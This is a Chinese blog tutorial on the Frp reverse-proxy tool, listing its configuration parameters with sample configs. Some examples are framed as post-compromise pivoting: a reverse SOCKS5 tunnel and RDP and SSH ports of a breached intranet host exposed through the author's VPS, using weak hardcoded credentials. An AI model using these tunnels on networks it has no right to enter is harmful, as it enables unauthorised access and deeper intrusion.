8月21日笔记

Frp

Frp(Fast e Reverse ) Proxy) 是一款简单,好用,稳定的隧道工具。Frp 使用 Go语言开发,支持跨平台,仅需下载对应平台的二进制文件即可执行,没有额外依赖。它是一款高性能的反向代理应用,可以轻松地进行内网穿透,对外网提供服务。Frp 支持 TCP、UDP、KCP、HTTP、HTTPS 等协议类型,并且支持 Web服务根据域名进行路由转发。在进行内网渗透中,FRP 是常用的一款隧道工具。
下载地址:https://github.com/fatedier/frp/releases
Frp 的优势?

  • 客户端服务端通信支持 TCP、UDP、KCP、HTTP、HTTPS 以及Websocket 等多种协议。
  • 采用 TCP 连接流式复用,在单个连接间承载更多请求,节省连接建立时间。
  • 代理组间的负载均衡。
  • 端口复用,多个服务通过同一个服务端端口暴露。
  • 多个原生支持的客户端插件(静态文件查看,HTTP、SOCK5 代理等),便于独立使用 frp 客户端完成某些工作。
  • 高度扩展性的服务端插件系统,方便结合自身需求进行功能扩展。
  • 服务端和客户端 UI 页面。

Frp 的代理类型

frp 支持多种代理类型来适配不同的使用场景。

类型描述
tcp单纯的 TCP 端口映射,服务端会根据不同的端口路由到不同的内网服务。
udp单纯的 UDP 端口映射,服务端会根据不同的端口路由到不同的内网服务。
http针对 HTTP 应用定制了一些额外的功能,例如修改 Host Header,增加鉴权。
https针对 HTTPS 应用定制了一些额外的功能。
stcp安全的 TCP 内网代理,需要在被访问者和访问者的机器上都部署frpc,不需要在服务端暴露端口。
sudp安全的 UDP 内网代理,需要在被访问者和访问者的机器上都部署frpc,不需要在服务端暴露端口。
xtcp点对点内网穿透代理,功能同 stcp,但是流量不需要经过服务器中转。
tcpmux支持服务端 TCP 端口的多路复用,通过同一个端口访问不同的内网服务。

Frp 的配置文件

服务端配置(基础配置)
参数说明默认值备注
[common]是不可或缺的部分
bind_addr服务端监听地址0.0.0.0
bind_port服务端监听端口7000接手frpc的连接
bind_udp_port服务端监听UDP端口0用于辅助创建P2P连接
kcp_bind_port服务端监听KCP协议端口0用于接收采用KCP连接的
proxy_bind_addr代理监听地址同bind_addr可以使代理监听在不同的网卡地址
log_file日志文件地址./frps.log如果设置为console,会将日志打印在标准输出中
log_level日志等级info可选值:trace,debug,info,warn,error

权限验证

参数说明默认值备注
authentication_method鉴权方式token可选值:token,oidc
autnenticate_neartbeats开启心跳消息鉴权false
authenticate_new_work_conns开启建立工作连接的鉴权false
token鉴权使用的 token 值客户端需要设置一样的值才能鉴权通过
oidc_issuer
oidc_audience
oidc_skip_expiry_check
bool
oidc_skip issuer_checkbool

Dashboard(仪表板),监控

参数说明默认值备注
dashboard addr启用 Dashboard 监听的本地地址0.0.0.0
dashboard port启用 Dashboard 监听的本地端口0
dashboard userHTTP BasicAuth 用户名
dashboard pwdHTTP BasicAuth密码
enable_prometheus是否提供Prometheus 监控接口false需要同时启用了 Dashboard 才会生效
asserts dir静态资源目录
Dashboard 使用的资源默认打包在二进制文件中,通过指定此参数使用自定义的静态资源
客户端公共配置(基础配置)
参数说明默认值备注
[common]
必须
serverAddr连接服务端的地址0.0.0.0
serverPort连接服务端的端口7000
http_proxy连接服务端使用的代理地址格式为
{protocol}😕/user:passwd@192.168.5.138:8080
protocol目前支持http、socks5、ntlm
log_file日志文件地址./frpc.log如果设置为 console,会将日志打印在标准输出中
log_level日志等级info可选值:trace,debug, info,warn, error
pool_count连接池大小0

权限验证

参数说明默认值备注
authentication_method鉴权方式token可选值:token,oidc;需要和服务端一致
autnenticate_neartbeats开启心跳消息鉴权false需要和服务端一致
authenticate_new_work_conns开启建立工作连接的鉴权false需要和服务端一致
token鉴权使用的 token 值需要和服务端设置一样的值才能鉴权通过
oidc_client_id
oidc_client secret
oidc_audience
bool
oidc_token_endpoint_urlbool
客户端代理配置

基础配置

参数说明是否必须备注
type代理类型可选值:tcp, udp, http,https, stcp,sudp,xtcp,tcpmux
use_encryption是否启用加密功能启用后该代理和服务端之间的通信内容都会被加密传输
use_compression是否启用压缩功能启用后该代理和服务端之间的通信内容都会被压缩传输
proxy_protocol_version启用 proxyprotocol 协议的版本如果启用,则 frpc 和本地服务建立连接后会发送 proxy protocol 的协议,包含了原请求的 IP 地址和端口等内容;可选值:v1,v2

本地服务配置

参数说明是否必须备注
local_ip本地服务IP需要被代理的本地服务的IP 地址,可以为所在frpc 能访问到的任意IP 地址;默认值:127.0.0.1
local_port本地服务端口配合local_ip
plugin客户端插件名称用于扩展 frpc的能力,能够提供一些简单的本地服务,如果配置了plugin,则local_ip 和local_port无效,两者只能配置一个
plugin _params客户端插件参数(map类型)map 结构,key需要都以“plugin“开头,每一个 plugin 需要的参数也不一样,具体见客户端插件参数中的内容

负载均衡和健康检查

参数说明是否必须备注
group负载均衡分组名称用户请求会以轮询的方式发送给同一个group 中的代理
group_key负载均衡分组密钥用于对负载均衡分组进行鉴权,group_key相同的代理才会被加入到同一个分组中
health_check_type健康检查类型配置后启用健康检查功能,tcp 是连接成功则认为服务健康,http 要求接口返回 2xx的状态码则认为服务健康
可选值:tcp,http
health_check_timeout_s健康检查超时时间(秒)执行检查任务的超时时间.默认值:3
health_check_max_failed健康检查连续错误次数连续检查错误多少次认为服务不健康;默认值:1
health_check_interval_s健康检查周期(秒)每隔多长时间进行一次健康检查;默认值:10

Frp的使用(0.51.3)

服务端配置

[common]
bind_addr = 0.0.0.0
bind_port = 7000
dashboard_addr = 0.0.0.0
dashboard_port = 7001
dashboard_user = root
dashboard_pwd = 123456
token = wx65b3e977e62f120b

客户端配置

[common]
server_addr = 125.217.52.215
server_port = 7000
token = wx65b3e977e62f120b
pool_count = 5
health_check_type = tcp
health_check_interval_s = 100
[test]
remote_port = 12345
plugin = socks5
use_encryption = true
use_compression = true
plugin_user = admin
plugin_passwd = 123456

在使用之前可以执行以下命令来查看配置文件中的语法是否正确

frpc.exe verify -c frpc.ini #客户端
frps.exe verify -c frps.ini	#服务端

QQ_1724247840588.png

使用frp建立隧道(反向sock5代理)

现在有这么一个场景,我们获得了一个位于内网的通过 NAT 方式对外提供服务的主机的权限,现在我们需要对其所在的内网继续进行渗透。于是,我们就需要通过FRP 建立一个隧道,让我们的主机可以通过隧道访问其内网。QQ_1724244453172.png

frps.exe -c frps.ini

开启服务端。
QQ_1724248167545.png
QQ_1724244660856.png
客户端执行

frpc.exe -c frpc.ini

QQ_1724248117479.png
查看 dashboard,访问http://125.217.52.215:7001,账号:root 密码:123456
QQ_1724248221802.png
连接成功。
我们本机设置代理: socks5 ip:125.217.52.215 端口:12345 账号:admin 密码:123456
QQ_1724248376820.png
QQ_1724249420118.png
tcp隧道搭建成功。

使用 Frp 映射 Web 服务

现在有这么一个场景,位于内网的主机需要对外提供 Web 服务,于是将内网主机的 80 端口映射到公网主机的 80 端口上。
客户端配置

[common]
server_addr = 125.217.52.215
server_port = 7000
token = wx65b3e977e62f120b
[http]
type = tcp
local_ip = 127.0.0.1
local_port = 80
remote_port = 80
custom_domains= www.test.com

执行命令:frpc.exe -c frpc.ini
QQ_1724251517735.png
QQ_1724251481221.png
现在我们在内网服务器web服务看到的页面是下面这样的
QQ_1724251401430.png
来实验一下内网服务器的80端口是否有映射到我们的服务器上。
QQ_1724251650117.png
成功映射到我们的服务器上。

使用 Frp 映射 RDP 服务

现在有这么一个场景,我们获得了位于内网的一台主机的权限,并且知道了他的登录用户名和密码。他的 3389 端口只对内网开放,现在我们需要将该主机的3389 端口映射到公网我们的 VPS 的 3389 端口,那样,我们连接我们 VPS 的3389 端口就相当于连接内网主机的 3389 端口了。
客户端配置

[common]
server_addr = 125.217.52.215
server_port = 7000
token = wx65b3e977e62f120b
[RDP]
local_ip = 127.0.0.1
local_port = 3389
remote_port = 3389

执行命令运行
QQ_1724251847199.png
连接成功。

使用 Frp 映射 SSH 服务

现在有这么一个场景,我们获得了位于内网的一台主机的权限,并且知道了他的登录用户名和密码。他的 22 SSH 端口只对内网开放,现在我们需要将该主机的22 端口映射到公网我们的 VPS 的 2222 端口,那样,我们连接我们 VPS 的 2222端口就相当于连接内网主机的 22 端口了。
客户端配置

[common]
server_addr = 125.217.52.215
server_port = 7000
token = wx65b3e977e62f120b
[SSH]
local_ip = 127.0.0.1
local_port = 22
remote_port = 2222

执行客户端连接命令
QQ_1724253893772.png
QQ_1724253839761.png
连接成功。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/52152.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Spring DI 数据类型—— set 方法注入

首先新建项目&#xff0c;可参考 初识IDEA、模拟三层--控制层、业务层和数据访问层 一、spring 环境搭建 &#xff08;一&#xff09;pom.xml 导相关坐标 <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.or…

http连接未释放导致生产故障

凌晨4点运维老大收到报警&#xff08;公司官网页面超时&#xff0c;上次故障因为运维修改nginx导致官网域名下某些接口不可用后&#xff0c;运维在2台nginx服务器上放了检测程序&#xff0c;检测官网页面&#xff09;&#xff0c;运维自己先看了看服务器相关配置&#xff0c;后…

Java实现STL中的全排列函数next_permutation()

目录 一、引言 二、全排列函数next_permutation() 三、next_permutation()的使用 四、Java实现next_permutation() 五、使用next_permutation()实现全排列 一、引言 相信很多小伙伴们都做过全排列的算法题&#xff0c;输入一个n&#xff0c;输出1~n的全排列。对于这个问题…

JVM 有哪些垃圾回收器?

JVM 有哪些垃圾回收器&#xff1f; 图中展示了7种作用于不同分代的收集器&#xff0c;如果两个收集器之间存在连线&#xff0c;则说明它们可以搭配使用。虚拟机所处的区域则表示它是属于新生代还是老年代收集器。 新生代收集器&#xff08;全部的都是复制算法&#xff09;&…

【安全靶场】-DC-7

❤️博客主页&#xff1a; iknow181 &#x1f525;系列专栏&#xff1a; 网络安全、 Python、JavaSE、JavaWeb、CCNP &#x1f389;欢迎大家点赞&#x1f44d;收藏⭐评论✍ 一、收集信息 1.查看主机是否存活 nmap -T4 -sP 192.168.216.149 2.主动扫描 看开放了哪些端口和功能 n…

【网络】UDP和TCP之间的差别和回显服务器

文章目录 UDP 和 TCP 之间的差别有连接/无连接可靠传输/不可靠传输面向字节流/面向数据报全双工/半双工 UDP/TCP API 的使用UDP APIDatagramSocket构造方法方法 DatagramPacket构造方法方法 回显服务器&#xff08;Echo Server&#xff09;1. 接收请求2. 根据请求计算响应3. 将…

黑马头条vue2.0项目实战(十一)——功能优化(组件缓存、响应拦截器、路由跳转与权限管理)

1. 组件缓存 1.1 介绍 先来看一个问题&#xff1f; 从首页切换到我的&#xff0c;再从我的回到首页&#xff0c;我们发现首页重新渲染原来的状态没有了。 首先&#xff0c;这是正常的状态&#xff0c;并非问题&#xff0c;路由在切换的时候会销毁切出去的页面组件&#xff…

Java之HashMap的底层实现

Java之HashMap的底层实现 摘要HashMap的底层原理哈希值转换为数组下标节点初始化put(Object key, Object value)重写toString()get(Object key)增加泛化remove(K key) 摘要 本博客主要讲述了Java的HashMap的底层实现 HashMap的底层原理 底层原理&#xff1a;数组链表 过程…

【C/C++】菱形继承问题

创作不易&#xff0c;本篇文章如果帮助到了你&#xff0c;还请点赞 关注支持一下♡>&#x16966;<)!! 主页专栏有更多知识&#xff0c;如有疑问欢迎大家指正讨论&#xff0c;共同进步&#xff01; &#x1f525;c系列专栏&#xff1a;C/C零基础到精通 &#x1f525; 给大…

【JAVA CORE_API】Day18 网络编程、线程、在线聊天室v1.0

C/S&#xff1a;客户端/服务器端&#xff0c;所有网络应用都是基于客户端服务器端进行的&#xff0c;Java写的是服务端&#xff0c;客户端是一个软件&#xff0c;服务端也是一个软件&#xff0c;两个软件之间交互&#xff1b;&#xff08;只能连接对应的服务器&#xff09; B/…

吐血整理 ChatGPT 3.5/4.0/4o 新手使用手册~

都知道ChatGPT很强大&#xff0c;聊聊天、写论文、搞翻译、写代码、写文案、审合同等等&#xff0c;无所不能~ 那么到底怎么使用呢&#xff1f;其实很简单了&#xff0c;国内AI产品发展也很快&#xff0c;很多都很好用了~ 我一直在用&#xff0c;建议收藏下来~ 有最先进、最…

基于 Appium 的 App 爬取实战

除了运行 Appium 的基本条件外&#xff0c;还要一个日志输出库 安装&#xff1a; pip install loguru 思路分析 首先我们观察一下整个 app5 的交互流程&#xff0c;其首页分条显示了电影数据&#xff0c; 每个电影条目都包括封面&#xff0c;标题&#xff0c; 类别和评分 4…

Godot《躲避小兵》实战之创建玩家场景

项目设置完之后&#xff0c;我们就可以开始处理玩家控制的角色。 这里我们将玩家放在一个单独的场景当中&#xff0c;这样做的好处是在游戏的其他部分做出来之前&#xff0c;我们就可以对其进行单独测试。 节点结构 场景是一个节点树结构&#xff0c;因此一个场景需要有一个…

WordPress美化节日灯笼插件,适合春节的时候使用

源码介绍&#xff1a; WordPress美化节日灯笼插件&#xff0c;适合每年过年的时候安在网站上使用&#xff0c;这款插件可以备用着&#xff0c;一款WordPress节日灯笼美化插件&#xff0c;可以给网页自动加一个灯笼效果使用说明&#xff1a;到网站WP后台 - 插件 - 安装插件 - 上…

[C#]基于winform结合photocartoon算法实现人物卡通化源码实现

【官方框架】 https://github.com/minivision-ai/photo2cartoon 简介 人像卡通风格渲染的目标是&#xff0c;在保持原图像ID信息和纹理细节的同时&#xff0c;将真实照片转换为卡通风格的非真实感图像。我们的思路是&#xff0c;从大量照片/卡通数据中习得照片到卡通画的映射…

企业级web应用服务器tomcat

目录 一、Web技术 1.1 HTTP协议和B/S 结构 1.2 前端三大核心技术 1.2.1 HTML 1.2.2 CSS&#xff08;Cascading Style Sheets&#xff09;层叠样式表 1.2.3 JavaScript 二、tomcat的功能介绍 2.1 安装 tomcat 环境准备 2.1.1 安装java环境 2.1.2 安装并启动tomcat …

vscode提升:JSON 中不允许有注释

解决方案 &#xff1a; 运行&#xff1a; json with comment 参考链接&#xff1a; https://blog.csdn.net/eqizhihui/article/details/134014010 人工智能学习网站 https://chat.xutongbao.top

基于飞腾平台的Hbase的安装配置

【写在前面】 飞腾开发者平台是基于飞腾自身强大的技术基础和开放能力&#xff0c;聚合行业内优秀资源而打造的。该平台覆盖了操作系统、算法、数据库、安全、平台工具、虚拟化、存储、网络、固件等多个前沿技术领域&#xff0c;包含了应用使能套件、软件仓库、软件支持、软件适…

iOS Native与JS通信:JSBridge

文章目录 一、简介二、JS 调用 Native1.使用 URL Schemea.UIWebViewb.WKWebView 2.使用 JavaScriptCore (iOS 7)3.使用 WKWebView 和 WKScriptMessageHandler (iOS 8) 三、Native 调用 JS1.使用 UIWebView2.使用 WKWebView3.使用 JavaScriptCore (iOS 7) 一、简介 对于移动应用…

深入浅出:你需要了解的用户数据报协议(UDP)

文章目录 **UDP概述****1. 无连接性****2. 尽最大努力交付****3. 面向报文****4. 多种交互通信支持****5. 较少的首部开销** **UDP报文的首部格式****详细解释每个字段** **UDP的多路分用模型****多路分用的实际应用** **检验和的计算方法****伪首部的详细内容****检验和计算步…